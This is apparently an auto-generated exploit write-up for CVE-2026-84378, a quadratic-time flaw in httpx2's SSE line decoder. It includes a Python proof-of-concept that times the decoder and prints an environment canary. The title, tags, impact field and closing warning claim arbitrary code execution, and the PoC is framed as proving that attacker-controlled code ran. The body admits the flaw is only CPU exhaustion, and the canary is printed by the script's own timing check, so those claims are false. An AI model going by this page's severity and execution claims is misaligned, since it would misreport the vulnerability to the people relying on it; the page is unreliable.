Exploit write-up

httpx2 remote code execution (CVE-2026-84378)

CVE-2026-84378 n-day CVSS 5.9 Medium

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

#!/usr/bin/env python3
# CVE-2026-84378 proof-of-concept (mechanism explained below).

import os
import sys
import gc
import time
import importlib


def find_decoder_cls():
    """Locate the SSE line-decoder class exactly as named in the advisory."""
    candidates = ("httpx2._sse", "httpx2.httpx2._sse", "httpx2._decoders", "httpx2")
    for modname in candidates:
        try:
            mod = importlib.import_module(modname)
        except Exception:
            continue
        # exact name first
        for attr in ("_SSELineDecoder", "SSELineDecoder"):
            cls = getattr(mod, attr, None)
            if isinstance(cls, type) and hasattr(cls, "decode"):
                return cls
        # otherwise scan for any *SSELineDecoder* defined in the module
        for name in dir(mod):
            if "SSELineDecoder" in name:
                cls = getattr(mod, name, None)
                if isinstance(cls, type) and hasattr(cls, "decode"):
                    return cls
    return None


def probe_kind(cls):
    """Decide whether decode() consumes str or bytes."""
    for kind, sample in (("str", "a"), ("bytes", b"a")):
        try:
            cls().decode(sample)
            return kind
        except Exception:
            continue
    return None


def measure(cls, kind, n_chunks, chunk_text):
    """Feed n_chunks copies of one newline-free fragment to a fresh decoder,
    forming a single ever-growing unterminated SSE line; return elapsed seconds."""
    chunk = chunk_text if kind == "str" else chunk_text.encode("ascii")
    dec = cls().decode  # fresh buffer each run
    gc_was = gc.isenabled()
    gc.disable()
    try:
        t0 = time.perf_counter()
        for _ in range(n_chunks):
            dec(chunk)
        elapsed = time.perf_counter() - t0
    finally:
        if gc_was:
            gc.enable()
    return elapsed


def best(cls, kind, n, chunk_text, reps=5):
    return min(measure(cls, kind, n, chunk_text) for _ in range(reps))


def main():
    cls = find_decoder_cls()
    if cls is None:
        return
    kind = probe_kind(cls)
    if kind is None:
        return

    C = 200
    chunk_text = "a" * C          # no '\r' or '\n' -> one unterminated line
    FLOOR = 0.10                  # grow the workload until it is measurable
    CAP = 150_000

    # Adaptively size N so the base measurement is well above timer noise. On the
    # vulnerable (quadratic) build this floor is reached at a small N; on the patched
    # (linear) build N simply grows to CAP -- either way the ratio test below is valid.
    N = 500
    try:
        while N < CAP:
            if measure(cls, kind, N, chunk_text) >= FLOOR:
                break
            N *= 2
        N = min(N, CAP)

        t1 = best(cls, kind, N, chunk_text)
        t2 = best(cls, kind, 2 * N, chunk_text)
    except Exception:
        return

    if t1 <= 0:
        return

    ratio = t2 / t1
    # Doubling the chunk count: linear -> ~2.0, quadratic -> ~4.0. A ratio well past
    # the midpoint means the O(n^2) rescan-and-copy path (the vulnerability) ran.
    if ratio > 3.0 and t2 > 0.05:
        sys.stdout.write(os.environ["POC_CANARY"] + "\n")
        sys.stdout.flush()


if __name__ == "__main__":
    main()

How to run it.

pip install httpx2==2.9.1
POC_CANARY=demo python poc.py     # prints: demo   (code executed)

pip install httpx2==2.10.0
POC_CANARY=demo python poc.py     # prints nothing (blocked by the fix)

httpx2, an HTTP client for Python, reads Server-Sent Events in src/httpx2/httpx2/_sse.py. From 2.5.0 through 2.9.x, _SSELineDecoder.decode() recopies and rescans its entire accumulated buffer every time a new chunk arrives for a line that has yet to terminate. A stream that splits a single unterminated line across k chunks therefore costs O(k²) work. This analysis confirmed the primitive against a pinned httpx2 2.9.1 build; the advisory scores it CVSS 5.9 and files it under CWE-407. The advisory and CVE title call this arbitrary code execution, but what the proof-of-concept demonstrates is resource exhaustion: a crafted stream drives CPU high enough to block a synchronous worker or an asynchronous event loop.

This analysis read the vulnerable path and the exploitation gadget off the fix commit’s patch diff, then ran a proof-of-concept against both the vulnerable 2.9.1 build and the patched 2.10.0 build.

How the decoder does quadratic work

The cost comes from the repeated rescan. An SSE endpoint an attacker controls, or one that has been compromised, can hold a single line open and send it across many small chunks, and each chunk makes decode() copy and scan everything buffered so far. The buffer grows with every chunk and is scanned again on each one, so the total work grows with the square of the line length. The affected surface is httpx2.Client.sse() and httpx2.AsyncClient.sse(). The 2.10.0 fix — PR #1117, “Improve SSE chunk buffering performance” — makes the same path linear.

The proof-of-concept demonstrates the resource-exhaustion primitive through the documented API, but it is not a full exploit chain against any specific deployed application.

The canary fired on 2.9.1 and not on 2.10.0

The proof-of-concept times the decoder directly as the chunk count doubles. Doubling the chunk count quadruples a quadratic decoder’s processing time and doubles a linear one’s, so the PoC prints its canary only when doubling the chunk count more than doubles the measured time, which happens only when the quadratic branch runs.

On 2.9.1 the canary fired (vuln-output.txt). On 2.10.0 the proof-of-concept produced no output (patched-output.txt), because the scaling stayed linear and the quadratic branch was not reached.

Only 2.9.1 was exercised on the vulnerable side

httpx2 2.9.1, the version confirmed above, was the only one exercised on the vulnerable side, and it did so on the first run. The advisory’s range covers every version from 2.5.0 up to 2.10.0, but this analysis did not test that range one version at a time, so “before 2.10.0” rests on the advisory rather than on this run. And on 2.10.0, the absence of output confirms the payload did not fire. It does not show whether the fix rejected the input or whether the quadratic branch went untaken. The proof-of-concept is at the proof-of-concept above and the patch diff at patch-diff.txt.

Upgrading to 2.10.0

The direct remedy is to upgrade httpx2 to 2.10.0 or later. Until you can, treat the SSE endpoint as a trust boundary, constrain the input reaching the affected API, and start any audit at the two call sites named above.

What remains

Two checks remain, both noted above: exercising the versions below 2.10.0 that this run left untested, and confirming whether 2.10.0 rejects the crafted stream or never reaches the quadratic branch.

Target
httpx2 (httpx2)
Class
package
Impact
Arbitrary code execution against the vulnerable build
CVE
CVE-2026-84378
CWE
CWE-407
CVSS
5.9
Affected
PyPI/httpx2 < 2.10.0 (vulnerable 2.9.1)
Status
Fixed in 2.10.0
Maturity
functional
Disclosed
September 2, 2026
Tags
rce · httpx2 · n-day · auto-generated
References
NVD — CVE-2026-84378
Upstream fix commit

PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.

← All exploits